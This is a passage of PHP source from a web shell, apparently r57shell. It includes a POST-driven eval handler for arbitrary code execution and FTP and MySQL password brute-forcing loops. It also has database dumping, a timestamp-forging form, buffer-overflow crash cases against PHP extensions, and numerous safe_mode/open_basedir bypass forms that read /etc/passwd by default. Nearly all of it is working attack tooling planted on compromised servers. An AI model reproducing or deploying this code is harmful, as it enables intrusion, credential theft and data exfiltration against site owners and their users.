6059 if (extension_loaded("win32std") ) { win_browse_file( 1, NULL, str_repeat( "\x90", 264 ), NULL, array( "*" => "*.*" ) );}
6060
6061 break;
6062
6063 case 'dos32':
6064
6065 if (extension_loaded( "iisfunc" ) ){ $buf_unicode = str_repeat( "A", 256 ); $eip_unicode = "\x41\x41"; iis_getservicestate( $buf_unicode . $eip_unicode );}
6066
6067 break;
6068
6069 case 'dos33':
6070
6071 $buff = str_repeat("\x41", 250);$get_EIP = "\x42\x42";$get_ESP = str_repeat("\x43", 100);$get_EBP = str_repeat("\x44", 100);ntuser_getuserlist($buff.$get_EIP.$get_ESP.$get_EBP);
6072
6073 break;
6074
6075 case 'dos34':
6076
6077 if (extension_loaded("bz2")){ $buff = str_repeat("a",1000); com_print_typeinfo($buff);}
6078
6079 break;
6080
6081 case 'dos35':
6082
6083 $a = str_repeat("/", 4199000); iconv(1, $a, 1);
6084
6085 break;
6086
6087 case 'dos36':
6088
6089 $a = str_repeat("/", 2991370); iconv_mime_decode_headers(0, 1, $a);
6090
6091 break;
6092
6093 case 'dos37':
6094
6095 $a = str_repeat("/", 3799000); iconv_mime_decode(1, 0, $a);
6096
6097 break;
6098
6099 case 'dos38':
6100
6101 $a = str_repeat("/", 9791999); iconv_strlen(1, $a);
6102
6103 break;
6104
6105}
6106
6107
6108
6109if ($_POST['cmd']=="php_eval"){
6110
6111 $eval = @str_replace("<?","",$_POST['php_eval']);
6112
6113 $eval = @str_replace("?>","",$eval);
6114
6115 @eval($eval);}
6116
6117
6118
6119if ($_POST['cmd']=="ftp_brute")
6120
6121 {
6122
6123 $suc = 0;
6124
6125 if($_POST['brute_method']=='passwd'){
6126
6127 foreach($users as $user)
6128
6129 {
6130
6131 $connection = @ftp_connect($ftp_server,$ftp_port,10);
6132
6133 if(@ftp_login($connection,$user,$user)) { echo "[+] $user:$user - success\r\n"; $suc++; }
6134
6135 else if(isset($_POST['reverse'])) { if(@ftp_login($connection,$user,strrev($user))) { echo "[+] $user:".strrev($user)." - success\r\n"; $suc++; } }
6136
6137 @ftp_close($connection);
6138
6139 }
6140
6141 }else if(($_POST['brute_method']=='dic') && isset($_POST['ftp_login'])){
6142
6143 foreach($users as $user)
6144
6145 {
6146
6147 $connection = @ftp_connect($ftp_server,$ftp_port,10);
6148
6149 if(@ftp_login($connection,$_POST['ftp_login'],$user)) { echo "[+] ".$_POST['ftp_login'].":$user - success\r\n"; $suc++; }
6150
6151 @ftp_close($connection);
6152
6153 }
6154
6155 }
6156
6157 echo "\r\n-------------------------------------\r\n";
6158
6159 $count = count($users);
6160
6161 if(isset($_POST['reverse']) && ($_POST['brute_method']=='passwd')) { $count *= 2; }
6162
6163 echo $lang[$language.'_text97'].$count."\r\n";
6164
6165 echo $lang[$language.'_text98'].$suc."\r\n";
6166
6167 }
6168
6169
6170
6171if ($_POST['cmd']=="db_brute")
6172
6173 {
6174
6175 $suc = 0;
6176
6177 if($_POST['brute_method']=='passwd'){
6178
6179 foreach($users as $user)
6180
6181 {
6182
6183 $sql = new my_sql();
6184
6185 $sql->db = $_POST['db'];
6186
6187 $sql->host = $_POST['db_server'];
6188
6189 $sql->port = $_POST['db_port'];
6190
6191 $sql->user = $user;
6192
6193 $sql->pass = $user;
6194
6195 if($sql->connect()) { echo "[+] $user:$user - success\r\n"; $suc++; }
6196
6197 }
6198
6199 if(isset($_POST['reverse']))
6200
6201 {
6202
6203 foreach($users as $user)
6204
6205 {
6206
6207 $sql = new my_sql();
6208
6209 $sql->db = $_POST['db'];
6210
6211 $sql->host = $_POST['db_server'];
6212
6213 $sql->port = $_POST['db_port'];
6214
6215 $sql->user = $user;
6216
6217 $sql->pass = strrev($user);
6218
6219 if($sql->connect()) { echo "[+] $user:".strrev($user)." - success\r\n"; $suc++; }
6220
6221 }
6222
6223 }
6224
6225 }else if(($_POST['brute_method']=='dic') && isset($_POST['mysql_l'])){
6226
6227 foreach($users as $user)
6228
6229 {
6230
6231 $sql = new my_sql();
6232
6233 $sql->db = $_POST['db'];
6234
6235 $sql->host = $_POST['db_server'];
6236
6237 $sql->port = $_POST['db_port'];
6238
6239 $sql->user = $_POST['mysql_l'];
6240
6241 $sql->pass = $user;
6242
6243 if($sql->connect()) { echo "[+] ".$_POST['mysql_l'].":$user - success\r\n"; $suc++; }
6244
6245 }
6246
6247 }
6248
6249 echo "\r\n-------------------------------------\r\n";
6250
6251 $count = count($users);
6252
6253 if(isset($_POST['reverse']) && ($_POST['brute_method']=='passwd')) { $count *= 2; }
6254
6255 echo $lang[$language.'_text97'].$count."\r\n";
6256
6257 echo $lang[$language.'_text98'].$suc."\r\n";
6258
6259 }
6260
6261
6262
6263if ($_POST['cmd']=="mysql_dump")
6264
6265 {
6266
6267 if(isset($_POST['dif'])) { morewrite($_POST['dif_name'], "mysql_dump\r\n"); }
6268
6269 $sql = new my_sql();
6270
6271 $sql->db = $_POST['db'];
6272
6273 $sql->host = $_POST['db_server'];
6274
6275 $sql->port = $_POST['db_port'];
6276
6277 $sql->user = $_POST['mysql_l'];
6278
6279 $sql->pass = $_POST['mysql_p'];
6280
6281 $sql->base = $_POST['mysql_db'];
6282
6283 if(!$sql->connect()) { echo "[-] ERROR! Can't connect to SQL server"; }
6284
6285 else if(!$sql->select_db()) { echo "[-] ERROR! Can't select database"; }
6286
6287 else if(!$sql->dump($_POST['mysql_tbl'])) { echo "[-] ERROR! Can't create dump"; }
6288
6289 else {
6290
6291 if(empty($_POST['dif'])) { foreach($sql->dump as $v) echo $v."\r\n"; }
6292
6293 else if(@is_writable($_POST['dif_name'])){ foreach($sql->dump as $v){ morewrite($_POST['dif_name'], $v."\r\n");} }
6294
6295 else { echo "[-] ERROR! Can't write in dump file"; }
6296
6297 }
6298
6299 }
6300
6301
6302
6303echo "</textarea></div>";
6304
6305echo "</b>";
6306
6307echo "</td></tr></table>";
6308
6309echo "<table width=100% cellpadding=0 cellspacing=0>";
6310
6311
6312
6313function div_title($title, $id)
6314
6315{
6316
6317 return '<a style="cursor: pointer;" onClick="change_divst(\''.$id.'\');">'.$title.'</a>';
6318
6319}
6320
6321function div($id)
6322
6323 {
6324
6325 if(isset($_COOKIE[$id]) && ($_COOKIE[$id]==0)) return '<div id="'.$id.'" style="display: none;">';
6326
6327 $divid=array('id5','id6','id8','id9','id10','id11','id16','id24','id25','id26','id27','id28','id29','id33','id34','id35','id37','id38','id39');
6328
6329 if(empty($_COOKIE[$id]) && @in_array($id,$divid)) return '<div id="'.$id.'" style="display: none;">';
6330
6331 return '<div id="'.$id.'">';
6332
6333 }
6334
6335
6336
6337if(!$safe_mode){
6338
6339echo $fs.$table_up1.div_title($lang[$language.'_text2'],'id1').$table_up2.div('id1').$ts;
6340
6341echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','cmd',85,''));
6342
6343echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
6344
6345echo $te.'</div>'.$table_end1.$fe;
6346
6347}
6348
6349else{
6350
6351echo $fs.$table_up1.div_title($lang[$language.'_text28'],'id2').$table_up2.div('id2').$ts;
6352
6353echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).in('hidden','cmd',0,'safe_dir').ws(4).in('submit','submit',0,$lang[$language.'_butt6']));
6354
6355echo $te.'</div>'.$table_end1.$fe;
6356
6357}
6358
6359echo $fs.$table_up1.div_title($lang[$language.'_text42'],'id3').$table_up2.div('id3').$ts;
6360
6361echo sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','e_name',85,$dir).in('hidden','cmd',0,'edit_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt11']));
6362
6363echo $te.'</div>'.$table_end1.$fe;
6364
6365
6366
6367if($safe_mode || $open_basedir){
6368
6369echo $fs.$table_up1.div_title($lang[$language.'_text57'],'id4').$table_up2.div('id4').$ts;
6370
6371echo sr(15,"<b>".$lang[$language.'_text58'].$arrow."</b>",in('text','mk_name',54,(!empty($_POST['mk_name'])?($_POST['mk_name']):("new_name"))).ws(4)."<select name=action><option value=create>".$lang[$language.'_text65']."</option><option value=delete>".$lang[$language.'_text66']."</option></select>".ws(3)."<select name=what><option value=file>".$lang[$language.'_text59']."</option><option value=dir>".$lang[$language.'_text60']."</option></select>".in('hidden','cmd',0,'mk').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt13']));
6372
6373echo $te.'</div>'.$table_end1.$fe;
6374
6375}
6376
6377
6378
6379if($unix && @function_exists('touch')){
6380
6381echo $fs.$table_up1.div_title($lang[$language.'_text128'],'id5').$table_up2.div('id5').$ts;
6382
6383echo sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','file_name',40,(!empty($_POST['file_name'])?($_POST['file_name']):($_SERVER["SCRIPT_FILENAME"])))
6384
6385.ws(4)."<b>".$lang[$language.'_text26'].ws(2).$lang[$language.'_text59'].$arrow."</b>"
6386
6387.ws(2).in('text','file_name_r',40,(!empty($_POST['file_name_r'])?($_POST['file_name_r']):(""))));
6388
6389echo sr(15,"<b> or set Day".$arrow."</b>",
6390
6391'
6392
6393<select name="day" size="1">
6394
6395<option value="01">1</option>
6396
6397<option value="02">2</option>
6398
6399<option value="03">3</option>
6400
6401<option value="04">4</option>
6402
6403<option value="05">5</option>
6404
6405<option value="06">6</option>
6406
6407<option value="07">7</option>
6408
6409<option value="08">8</option>
6410
6411<option value="09">9</option>
6412
6413<option value="10">10</option>
6414
6415<option value="11">11</option>
6416
6417<option value="12">12</option>
6418
6419<option value="13">13</option>
6420
6421<option value="14">14</option>
6422
6423<option value="15">15</option>
6424
6425<option value="16">16</option>
6426
6427<option value="17">17</option>
6428
6429<option value="18">18</option>
6430
6431<option value="19">19</option>
6432
6433<option value="20">20</option>
6434
6435<option value="21">21</option>
6436
6437<option value="22">22</option>
6438
6439<option value="23">23</option>
6440
6441<option value="24">24</option>
6442
6443<option value="25">25</option>
6444
6445<option value="26">26</option>
6446
6447<option value="27">27</option>
6448
6449<option value="28">28</option>
6450
6451<option value="29">29</option>
6452
6453<option value="30">30</option>
6454
6455<option value="31">31</option>
6456
6457</select>'
6458
6459.ws(4)."<b>Month".$arrow."</b>"
6460
6461.'
6462
6463<select name="month" size="1">
6464
6465<option value="January">January</option>
6466
6467<option value="February">February</option>
6468
6469<option value="March">March</option>
6470
6471<option value="April">April</option>
6472
6473<option value="May">May</option>
6474
6475<option value="June">June</option>
6476
6477<option value="July">July</option>
6478
6479<option value="August">August</option>
6480
6481<option value="September">September</option>
6482
6483<option value="October">October</option>
6484
6485<option value="November">November</option>
6486
6487<option value="December">December</option>
6488
6489</select>'
6490
6491.ws(4)."<b>Year".$arrow."</b>"
6492
6493.'
6494
6495<select name="year" size="1">
6496
6497<option value="1998">1998</option>
6498
6499<option value="1999">1999</option>
6500
6501<option value="2000">2000</option>
6502
6503<option value="2001">2001</option>
6504
6505<option value="2002">2002</option>
6506
6507<option value="2003">2003</option>
6508
6509<option value="2004">2004</option>
6510
6511<option value="2005">2005</option>
6512
6513<option value="2006">2006</option>
6514
6515<option value="2006">2007</option>
6516
6517<option value="2006">2008</option>
6518
6519<option value="2006">2009</option>
6520
6521<option value="2006">2010</option>
6522
6523</select>'
6524
6525.ws(4)."<b>Hour".$arrow."</b>"
6526
6527.'
6528
6529<select name="chasi" size="1">
6530
6531<option value="01">01</option>
6532
6533<option value="02">02</option>
6534
6535<option value="03">03</option>
6536
6537<option value="04">04</option>
6538
6539<option value="05">05</option>
6540
6541<option value="06">06</option>
6542
6543<option value="07">07</option>
6544
6545<option value="08">08</option>
6546
6547<option value="09">09</option>
6548
6549<option value="10">10</option>
6550
6551<option value="11">11</option>
6552
6553<option value="12">12</option>
6554
6555<option value="13">13</option>
6556
6557<option value="14">14</option>
6558
6559<option value="15">15</option>
6560
6561<option value="16">16</option>
6562
6563<option value="17">17</option>
6564
6565<option value="18">18</option>
6566
6567<option value="19">19</option>
6568
6569<option value="20">20</option>
6570
6571<option value="21">21</option>
6572
6573<option value="22">22</option>
6574
6575<option value="23">23</option>
6576
6577<option value="24">24</option>
6578
6579</select>'
6580
6581.ws(4)."<b>Minute".$arrow."</b>"
6582
6583.'
6584
6585<select name="minutes" size="1">
6586
6587<option value="01">1</option>
6588
6589<option value="02">2</option>
6590
6591<option value="03">3</option>
6592
6593<option value="04">4</option>
6594
6595<option value="05">5</option>
6596
6597<option value="06">6</option>
6598
6599<option value="07">7</option>
6600
6601<option value="08">8</option>
6602
6603<option value="09">9</option>
6604
6605<option value="10">10</option>
6606
6607<option value="11">11</option>
6608
6609<option value="12">12</option>
6610
6611<option value="13">13</option>
6612
6613<option value="14">14</option>
6614
6615<option value="15">15</option>
6616
6617<option value="16">16</option>
6618
6619<option value="17">17</option>
6620
6621<option value="18">18</option>
6622
6623<option value="19">19</option>
6624
6625<option value="20">20</option>
6626
6627<option value="21">21</option>
6628
6629<option value="22">22</option>
6630
6631<option value="23">23</option>
6632
6633<option value="24">24</option>
6634
6635<option value="25">25</option>
6636
6637<option value="26">26</option>
6638
6639<option value="27">27</option>
6640
6641<option value="28">28</option>
6642
6643<option value="29">29</option>
6644
6645<option value="30">30</option>
6646
6647<option value="31">31</option>
6648
6649<option value="32">32</option>
6650
6651<option value="33">33</option>
6652
6653<option value="34">34</option>
6654
6655<option value="35">35</option>
6656
6657<option value="36">36</option>
6658
6659<option value="37">37</option>
6660
6661<option value="38">38</option>
6662
6663<option value="39">39</option>
6664
6665<option value="40">40</option>
6666
6667<option value="41">41</option>
6668
6669<option value="42">42</option>
6670
6671<option value="43">43</option>
6672
6673<option value="44">44</option>
6674
6675<option value="45">45</option>
6676
6677<option value="46">46</option>
6678
6679<option value="47">47</option>
6680
6681<option value="48">48</option>
6682
6683<option value="49">49</option>
6684
6685<option value="50">50</option>
6686
6687<option value="51">51</option>
6688
6689<option value="52">52</option>
6690
6691<option value="53">53</option>
6692
6693<option value="54">54</option>
6694
6695<option value="55">55</option>
6696
6697<option value="56">56</option>
6698
6699<option value="57">57</option>
6700
6701<option value="58">58</option>
6702
6703<option value="59">59</option>
6704
6705</select>'
6706
6707.ws(4)."<b>Second".$arrow."</b>"
6708
6709.'
6710
6711<select name="second" size="1">
6712
6713<option value="01">1</option>
6714
6715<option value="02">2</option>
6716
6717<option value="03">3</option>
6718
6719<option value="04">4</option>
6720
6721<option value="05">5</option>
6722
6723<option value="06">6</option>
6724
6725<option value="07">7</option>
6726
6727<option value="08">8</option>
6728
6729<option value="09">9</option>
6730
6731<option value="10">10</option>
6732
6733<option value="11">11</option>
6734
6735<option value="12">12</option>
6736
6737<option value="13">13</option>
6738
6739<option value="14">14</option>
6740
6741<option value="15">15</option>
6742
6743<option value="16">16</option>
6744
6745<option value="17">17</option>
6746
6747<option value="18">18</option>
6748
6749<option value="19">19</option>
6750
6751<option value="20">20</option>
6752
6753<option value="21">21</option>
6754
6755<option value="22">22</option>
6756
6757<option value="23">23</option>
6758
6759<option value="24">24</option>
6760
6761<option value="25">25</option>
6762
6763<option value="26">26</option>
6764
6765<option value="27">27</option>
6766
6767<option value="28">28</option>
6768
6769<option value="29">29</option>
6770
6771<option value="30">30</option>
6772
6773<option value="31">31</option>
6774
6775<option value="32">32</option>
6776
6777<option value="33">33</option>
6778
6779<option value="34">34</option>
6780
6781<option value="35">35</option>
6782
6783<option value="36">36</option>
6784
6785<option value="37">37</option>
6786
6787<option value="38">38</option>
6788
6789<option value="39">39</option>
6790
6791<option value="40">40</option>
6792
6793<option value="41">41</option>
6794
6795<option value="42">42</option>
6796
6797<option value="43">43</option>
6798
6799<option value="44">44</option>
6800
6801<option value="45">45</option>
6802
6803<option value="46">46</option>
6804
6805<option value="47">47</option>
6806
6807<option value="48">48</option>
6808
6809<option value="49">49</option>
6810
6811<option value="50">50</option>
6812
6813<option value="51">51</option>
6814
6815<option value="52">52</option>
6816
6817<option value="53">53</option>
6818
6819<option value="54">54</option>
6820
6821<option value="55">55</option>
6822
6823<option value="56">56</option>
6824
6825<option value="57">57</option>
6826
6827<option value="58">58</option>
6828
6829<option value="59">59</option>
6830
6831</select>'
6832
6833.in('hidden','cmd',0,'touch')
6834
6835.in('hidden','dir',0,$dir)
6836
6837.ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
6838
6839echo $te.'</div>'.$table_end1.$fe;
6840
6841}
6842
6843
6844
6845$select='';
6846
6847if(@function_exists('chmod')){$select .= "<option value=mod>CHMOD</option>";}
6848
6849if(@function_exists('chown')){$select .= "<option value=own>CHOWN</option>";}
6850
6851if(@function_exists('chgrp')){$select .= "<option value=grp>CHGRP</option>";}
6852
6853if($unix && $select){
6854
6855echo $fs.$table_up1.div_title($lang[$language.'_text67'],'id6').$table_up2.div('id6').$ts;
6856
6857echo @sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','param1',55,(($_POST['param1'])?($_POST['param1']):($_SERVER["SCRIPT_FILENAME"]))).ws(2)."<b>".$lang[$language.'_text68'].$arrow."</b>"."<select name=what>".$select."</select>".ws(4).in('text','param2 title="'.$lang[$language.'_text71'].'"',10,(($_POST['param2'])?($_POST['param2']):("0777"))).in('hidden','cmd',0,'ch_').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
6858
6859echo $te.'</div>'.$table_end1.$fe;
6860
6861}
6862
6863
6864
6865if(!$safe_mode){
6866
6867$aliases2 = '';
6868
6869foreach ($aliases as $alias_name=>$alias_cmd)
6870
6871 {
6872
6873 $aliases2 .= "<option>$alias_name</option>";
6874
6875 }
6876
6877echo $fs.$table_up1.div_title($lang[$language.'_text7'],'id7').$table_up2.div('id7').$ts;
6878
6879echo sr(15,"<b>".ws(9).$lang[$language.'_text8'].$arrow.ws(4)."</b>","<select name=alias>".$aliases2."</select>".in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
6880
6881echo $te.'</div>'.$table_end1.$fe;
6882
6883}
6884
6885
6886
6887echo $fs.$table_up1.div_title($lang[$language.'_text54'],'id8').$table_up2.div('id8').$ts;
6888
6889echo sr(15,"<b>".$lang[$language.'_text52'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12']));
6890
6891echo sr(15,"<b>".$lang[$language.'_text53'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;$tempdir )");
6892
6893echo sr(15,"<b>".$lang[$language.'_text55'].$arrow."</b>",in('checkbox','m id=m',0,'1').in('text','s_mask',82,'.txt;.php')."* ( .txt;.php;.htm )".in('hidden','cmd',0,'search_text').in('hidden','dir',0,$dir));
6894
6895echo $te.'</div>'.$table_end1.$fe;
6896
6897
6898
6899if(!$safe_mode && $unix){
6900
6901echo $fs.$table_up1.div_title($lang[$language.'_text76'],'id9').$table_up2.div('id9').$ts;
6902
6903echo sr(15,"<b>".$lang[$language.'_text72'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12']));
6904
6905echo sr(15,"<b>".$lang[$language.'_text73'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;$tempdir )");
6906
6907echo sr(15,"<b>".$lang[$language.'_text74'].$arrow."</b>",in('text','s_mask',85,'*.[hc]').ws(1).$lang[$language.'_text75'].in('hidden','cmd',0,'find_text').in('hidden','dir',0,$dir));
6908
6909echo $te.'</div>'.$table_end1.$fe;
6910
6911}
6912
6913
6914
6915echo $fs.$table_up1.div_title($lang[$language.'_text32'],'id10').$table_up2.$font;
6916
6917echo "<div align=center>".div('id10')."<textarea name=php_eval cols=100 rows=10>";
6918
6919echo (!empty($_POST['php_eval'])?($_POST['php_eval']):("//unlink(\"r57shell.php\");\r\n//readfile(\"/etc/passwd\");\r\n//file_get_content(\"/etc/passwd\");"));
6920
6921echo "</textarea>";
6922
6923echo in('hidden','dir',0,$dir).in('hidden','cmd',0,'php_eval');
6924
6925echo "<br>".ws(1).in('submit','submit',0,$lang[$language.'_butt1']);
6926
6927echo "</div></div></font>";
6928
6929echo $table_end1.$fe;
6930
6931
6932
6933if($safe_mode || $open_basedir)
6934
6935{
6936
6937echo $fs.$table_up1.div_title($lang[$language.'_text34'],'id11').$table_up2.div('id11').$ts;
6938
6939echo "<table class=table1 width=100% align=center>";
6940
6941echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test2_file',85,(!empty($_POST['test2_file'])?($_POST['test2_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test2').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
6942
6943echo $te.'</div>'.$table_end1.$fe;
6944
6945}
6946
6947
6948
6949if(($safe_mode || $open_basedir) && $curl_on && @version_compare(@phpversion(),"5.2.0")<=0)
6950
6951{
6952
6953echo $fs.$table_up1.div_title($lang[$language.'_text33'],'id12').$table_up2.div('id12').$ts;
6954
6955echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test1_file',85,(!empty($_POST['test1_file'])?($_POST['test1_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test1').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
6956
6957echo $te.'</div>'.$table_end1.$fe;
6958
6959}
6960
6961
6962
6963if(($safe_mode || $open_basedir) && $mysql_on)
6964
6965{
6966
6967echo $fs.$table_up1.div_title($lang[$language.'_text35'],'id13').$table_up2.div('id13').$ts;
6968
6969echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test3_md',15,(!empty($_POST['test3_md'])?($_POST['test3_md']):("mysql"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test3_ml',15,(!empty($_POST['test3_ml'])?($_POST['test3_ml']):("root"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test3_mp',15,(!empty($_POST['test3_mp'])?($_POST['test3_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test3_port',15,(!empty($_POST['test3_port'])?($_POST['test3_port']):("3306"))));
6970
6971echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test3_file',96,(!empty($_POST['test3_file'])?($_POST['test3_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test3').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
6972
6973echo $te.'</div>'.$table_end1.$fe;
6974
6975}
6976
6977
6978
6979if(($safe_mode || $open_basedir) && $mysqli_on)
6980
6981{
6982
6983echo $fs.$table_up1.div_title($lang[$language.'_text144'],'id40').$table_up2.div('id40').$ts;
6984
6985echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test19_md',15,(!empty($_POST['test19_md'])?($_POST['test19_md']):("mysqli"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test19_ml',15,(!empty($_POST['test19_ml'])?($_POST['test19_ml']):("root"))).ws(4)."<b>".$lang[$language.'_text39'].$arrow."</b>".in('text','test19_mp',15,(!empty($_POST['test19_mp'])?($_POST['test19_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test19_port',15,(!empty($_POST['test19_port'])?($_POST['test19_port']):("3306"))));
6986
6987echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test19_file',96,(!empty($_POST['test19_file'])?($_POST['test19_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test19').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
6988
6989echo $te.'</div>'.$table_end1.$fe;
6990
6991}
6992
6993
6994
6995if(($safe_mode || $open_basedir) && $mssql_on)
6996
6997{
6998
6999echo $fs.$table_up1.div_title($lang[$language.'_text85'],'id14').$table_up2.div('id14').$ts;
7000
7001echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test4_md',15,(!empty($_POST['test4_md'])?($_POST['test4_md']):("master"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test4_ml',15,(!empty($_POST['test4_ml'])?($_POST['test4_ml']):("sa"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test4_mp',15,(!empty($_POST['test4_mp'])?($_POST['test4_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test4_port',15,(!empty($_POST['test4_port'])?($_POST['test4_port']):("1433"))));
7002
7003echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','test4_file',96,(!empty($_POST['test4_file'])?($_POST['test4_file']):("dir"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test4').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
7004
7005echo $te.'</div>'.$table_end1.$fe;
7006
7007}
7008
7009
7010
7011
7012
7013if(($safe_mode || $open_basedir) && $unix && @function_exists('mb_send_mail') && @version_compare(@phpversion(),"5.2.0")<=0){
7014
7015echo $fs.$table_up1.div_title($lang[$language.'_text112'],'id15').$table_up2.div('id15').$ts;
7016
7017echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test5_file',96,(!empty($_POST['test5_file'])?($_POST['test5_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test5').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
7018
7019echo $te.'</div>'.$table_end1.$fe;
7020
7021}
7022
7023
7024
7025if(($safe_mode || $open_basedir) && @function_exists('imap_open') && @function_exists('imap_list') && @version_compare(@phpversion(),"5.2.0")<=0){
7026
7027echo $fs.$table_up1.div_title($lang[$language.'_text113'],'id20').$table_up2.div('id20').$ts;
7028
7029echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test6_file',96,(!empty($_POST['test6_file'])?($_POST['test6_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test6').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
7030
7031echo $te.'</div>'.$table_end1.$fe;
7032
7033}
7034
7035
7036
7037if(($safe_mode || $open_basedir) && @function_exists('imap_open') && @function_exists('imap_body') && @version_compare(@phpversion(),"5.2.0")<=0){
7038
7039echo $fs.$table_up1.div_title($lang[$language.'_text114'],'id21').$table_up2.div('id21').$ts;
7040
7041echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test7_file',96,(!empty($_POST['test7_file'])?($_POST['test7_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test7').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
7042
7043echo $te.'</div>'.$table_end1.$fe;
7044
7045}
7046
7047
7048
7049if(($safe_mode || $open_basedir) && @function_exists('copy') && @version_compare(@phpversion(),"5.2.0")<=0)
7050
7051{
7052
7053echo $fs.$table_up1.div_title($lang[$language.'_text115'],'id22').$table_up2.div('id22').$ts;
7054
7055echo sr(15,"<b>".$lang[$language.'_text116'].$arrow."</b>",in('text','test8_file1',96,(!empty($_POST['test8_file1'])?($_POST['test8_file1']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test8'));
7056
7057echo sr(15,"<b>".$lang[$language.'_text117'].ws(2).$lang[$language.'_text60'].$arrow."</b>",in('text','test8_file2',96,(!empty($_POST['test8_file2'])?($_POST['test8_file2']):($dir))).ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
7058
7059echo $te.'</div>'.$table_end1.$fe;
7060
7061}
7062
7063
7064
7065if(($safe_mode || $open_basedir) && @function_exists('ini_restore') && @version_compare(@phpversion(),"5.2.0")<=0){
7066
7067echo $fs.$table_up1.div_title($lang[$language.'_text120'],'id23').$table_up2.div('id23').$ts;
7068
7069echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test9_file',96,(!empty($_POST['test9_file'])?($_POST['test9_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test9').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
7070
7071echo $te.'</div>'.$table_end1.$fe;
7072
7073}
7074
7075
7076
7077if(($safe_mode || $open_basedir) && @version_compare(@phpversion(),"5.0.0")<0){
7078
7079echo $fs.$table_up1.div_title($lang[$language.'_text121'],'id24').$table_up2.div('id24').$ts;
7080
7081echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test10_file',96,(!empty($_POST['test10_file'])?($_POST['test10_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test10').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
7082
7083echo $te.'</div>'.$table_end1.$fe;
7084
7085}
7086
7087
7088
7089if(($safe_mode || $open_basedir) && @function_exists('glob') && @version_compare(@phpversion(),"5.2.2")<=0){
7090
7091echo $fs.$table_up1.div_title($lang[$language.'_text122'],'id19').$table_up2.div('id19').$ts;
7092
7093echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',96,(!empty($_POST['test_global'])?($_POST['test_global']):($dir))).in('hidden','cmd',0,'safe_dir').in('hidden','glob',0,'glob').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
7094
7095echo $te.'</div>'.$table_end1.$fe;
7096
7097}
7098
7099
7100
7101if(($safe_mode || $open_basedir) && @function_exists('realpath') && @version_compare(@phpversion(),"5.2.4")<=0){
7102
7103$select_n_rlph = "<select name='n_rlph'><option value=1>[ 1 ] (<<0,01 sec)</option><option value=2>[ 2 ] (<0,01 sec)</option>".
7104
7105"<option value=3 selected>[ 3 ] (<1 sec (default))</option>".
7106
